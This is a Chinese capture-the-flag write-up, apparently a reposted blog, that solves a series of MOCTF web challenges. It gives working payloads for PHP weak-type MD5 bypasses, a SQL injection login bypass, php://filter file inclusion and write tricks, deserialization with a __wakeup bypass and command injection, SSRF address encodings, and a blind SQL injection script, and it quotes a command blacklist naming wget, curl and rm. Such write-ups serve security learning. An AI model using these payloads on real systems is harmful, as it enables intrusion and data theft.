moctf-web探索与总结

moctf-web探索

上个星期刚刚重新开放Moctf平台,作为一只半只脚还没踏进大门的webdog,记录一下自己的web历程。有什么错误的地方,希望各位大佬指正。

0x01 一道水题

进入后,点击查看源码即可获得flag
view-source:http://119.23.73.3:5001/web1/。

0x02 还是水题

一道考察html标签属性的题目,修改disabled与maxlength属性

<input type="password" value="" disabled="disabled" name="password" maxlength="4">
=>
<input type="submit" value="提交">

0x03 访问限制

提示:只允许使用NAIVE浏览器访问!显然考察user-agent,于是修改user-agent发包,发现回显为:只有香港记者才能访问,于是又去修改Accept-Language,得到flag

User-Agent: NAIVE
Accept-Language: zh-HK,zh;q=0.9

插一个题外话,NAIVE浏览器让我想到了黑曜石浏览器,做个题目时,我条件反射地先去go0gle了一下NAIVE浏览器,看看有木有这个浏览器-.-,想试一下的朋友们可以点击

0x04 机器蛇

第一眼看到后,想到应该是考察js,然后就想F12看一下js代码大体逻辑,emmmm,看完没发现什么,直到把翻到最下面,才意识到自己思路错了。


提示<!–robots.txt–>,访问发现flagxxxx.php,再次访问,在注释中可以得到flag

0x05 PHP黑魔法

看到名字,应该就能菜刀是php弱类型。进入提示:似乎少点什么,查看源代码,抓包均无果,考虑源码泄漏,发现是index.php~源码泄漏。

view-source:http://119.23.73.3:5001/web5/index.php~
=>
<?php
	$flag="moctf{**************}";
	if (isset($_GET['a'])&&isset($_GET['b'])) {
		$a=$_GET['a'];
		$b=$_GET['b'];
		if($a==$b) 	{
			echo "<center>Wrong Answer!</center>";
		}
		else {
			if(md5($a)==md5($b)) {
				echo "<center>".$flag."</center>"; 
				echo "By:daoyuan";
			}
			else echo "<center>Wrong Answer!</center>";
		}
	}

payload: ?a=QNKCDZO&b=240610708

0x06 我想要钱

源码审计题目

<?php
    include "flag.php";
    highlight_file(__FILE__);
    if (isset($_GET['money'])) {
        $money=$_GET['money'];
        if(strlen($money)<=4&&$money>time()&&!is_array($money)){
            echo $flag;
        }
        else echo "Wrong Answer!";
    }
    else echo "Wrong Answer!";
?>

限制为:money长度小于5,并且数值很大,不是数组。payload: ?money=4e10

0x07 登录就对了

根据题目,是想让我们登录进去,首先是试弱口令,无果;再试万能密码,成功登录,flag在源代码中

payload:name = admin' or 1=1#&pass=1

0x08 文件包含

发现flfile=welcome.txt,于是尝试LFI
payload:http://119.23.73.3:5001/web8/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php
=>base64解码得到flag

0x09 暴跳的老板

抓包发现reponse里面有提示

# reponse
HTTP/1.1 200 OK
Date: Fri, 02 Nov 2018 17:24:35 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Dear: MyBoss
Vary: Accept-Encoding
Content-Length: 137
Content-Type: text/html

于是携带参数请求
POST /web1/do.php HTTP/1.1
Host: 119.23.73.3:5006
Proxy-Connection: keep-alive
Content-Length: 22
Cache-Control: max-age=0
Origin: http://119.23.73.3:5006
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://119.23.73.3:5006/web1/post.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=hgcbrc4a6o6p6v14dpd8prvdj2

postText=1&Dear=MyBoss

0x09 Flag在哪?

进入点击get flag,回显是there is no flag! 果断抓包看一下,考察302重定向

带有特征的过程:
GET /web7/flag.php HTTP/1.1
=>
HTTP/1.1 302 Found
Location: ./where_is_flag.php
=>
GET /web7/./where_is_flag.php HTTP/1.1
=>
HTTP/1.1 302 Found
Location: ./I_have_a_flag.php
=>
GET /web7/././I_have_a_flag.php HTTP/1.1
=>
HTTP/1.1 302 Found
Location: ./I_have_a_frog.php
=>
GET /web7/./././I_have_a_frog.php HTTP/1.1
=>
HTTP/1.1 302 Found
Location: ./no_flag.php
=>
GET /web7/././././no_flag.php HTTP/1.1

emmm,follow rediretion没有发现任何异常
唯一有价值的就是body中内容:

where is flag!
I have a flag
I have a frog!
ah~ guess where is flag!
There is no flag!

得知hint才知道,,这是一首歌曲:ppap,访问flagfrog.php得到答案

0x10 美味的饼干

登录admin,发现可以登录,抓包发现

Set-Cookie: login=ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU%3D
解码为 user
于是再次编码admin
MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
得到flag

0x11 没时间解释了

进入后,发现url为http://119.23.73.3:5006/web2/index2.php,于是抓包,发现302重定向,得到提示:May be u need uploadsomething.php。访问上传页面,随便上传一个,

filename: admin
concet: admin
路径:http://119.23.73.3:5006/web2/uploads/550d7c7c2a0c1d0dc373959b7d403de1d6783582/admin

访问,显示too low,猜测应该是,上传文件会在一定的时间删除吗,并且路径不变。于是bp.intrude走一波。

GET /web2/uploadsomething.php?filename=admin&content=admin HTTP/1.1
Host: 119.23.73.3:5006
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

a=§1§

attack后 ,浏览器访问http://119.23.73.3:5006/web2/uploads/550d7c7c2a0c1d0dc373959b7d403de1d6783582/admin即可得到flag

0x12 死亡退出

<?php
  show_source(__FILE__);
  $c="<?php exit;?>";
  @$c.=$_POST['c'];
  @$filename=$_POST['file']; 
  if(!isset($filename))                    
  {                                       
    file_put_contents('tmp.php', ''); 
  }                                 
  @file_put_contents($filename, $c);
  include('tmp.php');
?>

有include函数,首先想到文件包含,但是tmp.php不可控,只能执行tmp.php,可控的是temp.php的内容,于是通过php危险函数file_put_contents()写命令,c=bPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php,即可拿到flag

涉及到的两个知识点:
1、file_put_contents():
file_put_contents(file,data,mode,context)
data
要写入的数据。类型可以是 string,array 或者是 stream 资源(如上面所说的那样)。
如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。就是将context内容写到data中。
题目中:使用php://filter/write=convert.base64-decode/resource=tmp.php,tmp.php中写入内容,通过写入base64解码后的数据流实现,配合file_put_contents()使用进行写命令
另外附上p牛对这个经典问题的分析
https://www.leavesongs.com/PENETRATION/php-filter-magic.html


2、base64 编码
base64 解码表A-Z、a-z、0-9、+、/,其它的内容 base64 解码会将其过滤掉,比如<?;>与空格,就会自动过滤掉
因为题目中的 <?php exit;> => phpexit
base64 算法解码时是4个byte一组,所以该题目如果phpexit正常解码,不影响后面的一句话,就必须构造8个字符。在 <?php system('cat flag.php'); ?> base64编码的前面加一个字母即可

0x13 火眼金睛

这个题目意在靠脚本编写,做题时使用的非预期解,bp抓包后,在页面中,搜索moctf的个数,携带参数repeater,即可拿到flag
附上预期解脚本:

import requests
import re
targeturl = "http://119.23.73.3:5001/web10"
r = requests.get(url=targeturl)
res_tr = r"'100'>(.*?)</textarea>"
flagtxt =  re.findall(res_tr,r.content)[0]
re_moctf = r"moctf"
moctf = re.findall(re_moctf,flagtxt)
number = len(moctf)
ans = {
    "answer":number
}
url2 = "http://119.23.73.3:5001/web10/work.php"
s = requests.post(url=url2,data=ans,cookies=r.cookies)
print s.content

0x14 UNSET

<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
        exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
     }

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
        exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
        include($_GET['file']);
}
}

?>

分析逻辑:


需要执行include($_GET['file'])
=>
$_GET['file']为flag.php,但是waf会过滤,那么为了完成这个目的,我们需要先绕过waf再读flag.php


根据代码逻辑可以发现
unset => waf检测 => 再次赋值
那么关键性代码:

foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }

我们需要做的就是把$_GET的参数unset,过了waf再赋值,再利用文件包含读出flag.php的内容
过程:

1、
md5($_GET['flag'] ) == md5($_GET['daiker'])
=>
flag=QNKCDZO&daiker=s878926199a
2、
过waf
=>
以flag参数为例子
GET: ?flag=QNKCDZO =>array('flag' => 'QNKCDZO')
post: _GET[x]=QNKCDZO
先进行处理post参数 
$$__R 是 $POST[_GET[x]] => array('_GET[x]' => 'QNKCDZO') => $__k 是 _GET[x] => $$__k 是 $_GET[x] 是 QNKCDZO,于是符合 $$__k == $__v,执行unset($_GET[x]),即$__GET[flag]被unset了。后来extract()再次赋值

payload:

POST /index.php?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php HTTP/1.1
Host: 119.23.73.3:5101
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=om11lglr53tm1htliteav4uhk4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

_GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php

0x15 PUBG

http://120.78.57.208:6001/?LandIn=school 发现该处.bak源码泄漏,下载index.php与class.php

# index.php
elseif($pos==="school")
        {
            echo('</br><center><a href="/index.html"  style="color:white">叫我校霸~~</a></center>');
            $pubg=$_GET['pubg'];
            $p = unserialize($pubg);
        }

可以发现是php反序列化漏洞

# class.php
public function __destruct()
{
    waf($this->bag);
    if($this->weapon==='AWM')
    {
        $this->Get_air_drops($this->bag);
    }
}

public function Get_air_drops($b)
{
    $this->$b();
}

public function __call($method,$parameters) 
{
    $file = explode(".",$method);
    echo $file[0];
    if(file_exists(".//class$file[0].php"))
    {
        system("php  .//class//$method.php");
    }else
    {
        system("php  .//class//win.php");
    }
    die();
}  

分析逻辑与过程

    目的:
	__call()
	
	过程:
	唯一可控的为__destruct()
	=> Get_air_drops($b)
	=> $this->$b();刚好可以调用__call()
	
	注意:
	__wakeup()不能执行
	$b为命令 => $bag
	控制$bag即可
	$bag又经过waf处理
	
	做法:
	绕过__wakeup(),读waf
	绕过waf,rce
	
	原理:
	绕过__wakeup()
	CVE-2016-7124反序列化漏洞,通过传入错误的值绕过
	
	具体实现:
	从源码中在class/下发现flag.php
	O:7:"sheldon":2:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"AWM";}
	=>
	O:7:"sheldon":3:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"AWM";}
	=>
	O:7:"sheldon":3:{s:3:"bag";s:13:"flag.|cat%20waf";s:6:"weapon";s:3:"AWM";}
	$black = array('vi','awk','-','sed','comm','diff','grep','cp','mv','nl','less','od','head','tail','more','tac','rm','ls','tailf','%','%0a','%0d','%00','ls','echo','ps','>','<','${IFS}','ifconfig','mkdir','cp','chmod','wget','curl','http','www','`','printf');
	=>
	O:7:"sheldon":3:{s:3:"bag";s:20:"flag.|cat%20class/flag";s:6:"weapon";s:3:"AWM";}
	
	个人提醒一下,/class/flag与class/flag不一样

这里做了一个反序列化的测试

<?php
	class sheldon{
		public function __construct()
        {
            echo "__construct()";
			echo "<br/>";
        }
		public function __wakeup()
        {
            echo "__wakeup()";
			echo "<br/>";
        }
		public function __call($method,$parameters)
        {
            echo "__call()";
			echo "<br/>";
        }
		public function __destruct()
        {
            echo "__destruct()";
			echo "<br/>";
        }
	}
	$a = new sheldon;
	$sa = serialize($a);
	echo $sa;
	echo "<br/>";
	$ua = unserialize($sa);
	var_dump($ua);
	echo "<br/>";
	var_dump(unserialize('O:7:"sheldon":3:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"M24";}'));
	echo "<br/>";
	$a->b();

输出结果:

	__construct() //new 调用的
	O:7:"sheldon":2:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"M24";}
	__wakeup() //unserialize($a)调用的
	object(sheldon)#2 (2) { ["bag"]=> string(7) "nothing" ["weapon"]=> string(3) "M24" } 
	Notice: unserialize(): Unexpected end of serialized data in A:\tools\phpStudy\WWW\study1\pre.php on line 33
	__destruct() //unserialize($a)调用的
	
	Notice: unserialize(): Error at offset 64 of 65 bytes in A:\tools\phpStudy\WWW\study1\pre.php on line 33
	bool(false) 
	__call()	//$a->b()调用的
	__destruct() //unserialize('O:7:"sheldon":3:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"M24";}')调用的
	__destruct() // 照应new

0x16 网站检测

hint: doker -p 10001 80
说明80端口映射到10001,url参数可以进行ssrf
测试发现,必须http://moctf.com,过滤’127’,与点,flag.php使用url双编码

也考察url结构:方法//身份凭证@真是ip/路径
有几个payload
payload:url = http://www.moctf.com/0.0.0.0/%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30
另外几个可以把0.0.0.0 => 127.0.0.1
127.0.0.1
=> 8进制
017700000001
=> 16进制
0x7f000001 / 0x7f.1

0x17 简单注入

查看源代码发现注入点为 ?id
测试发现空格,/**/,and,or,–+等被禁用
使用异或盲注
脚本:

import string
import requests
chars = '!@$%^&*()_+=-|}{ :?><[];,./`~'
string = string.ascii_letters+string.digits+chars
rs = requests.session()
flag = ""
# 错误的payload
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(database())),{0},1)='{1}')^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}')^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1)='{1}')^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{0},1)='{1}')^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1)='{1}')^'1"
# 正确payload
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))={1})^'1"
# payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{0},1))={1})^'1"
payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1))={1})^'1"


for i in range(0, 500):

    # for j in string:
    for j in range(33, 127):
        url = payload.format(str(i), str(j))
        s = rs.get(url)
        # print url
        if 'Flag' in s.text:
            flag = flag + chr(j)
            print flag

得到flag,题外话,因为注入姿势不对,这个题目交flag,交了一天,emmmmmm,大佬们有兴趣可以试试脚本上错误payload,能感受到当时的纠结的心情-.-(其实我在掩盖自己菜的事实)。
记录一下错误原因:

mysql> select (mid('Aa',1,1)='A');
+---------------------+
| (mid('Aa',1,1)='A') |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

mysql> select (mid('Aa',1,1)='a');
+---------------------+
| (mid('Aa',1,1)='a') |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

另可见个人blog: http://bey0nd.xyz/2018/11/02/1/

发布了6 篇原创文章 · 获赞 9 · 访问量 7093

猜你喜欢

转载自blog.csdn.net/weixin_41185953/article/details/83786215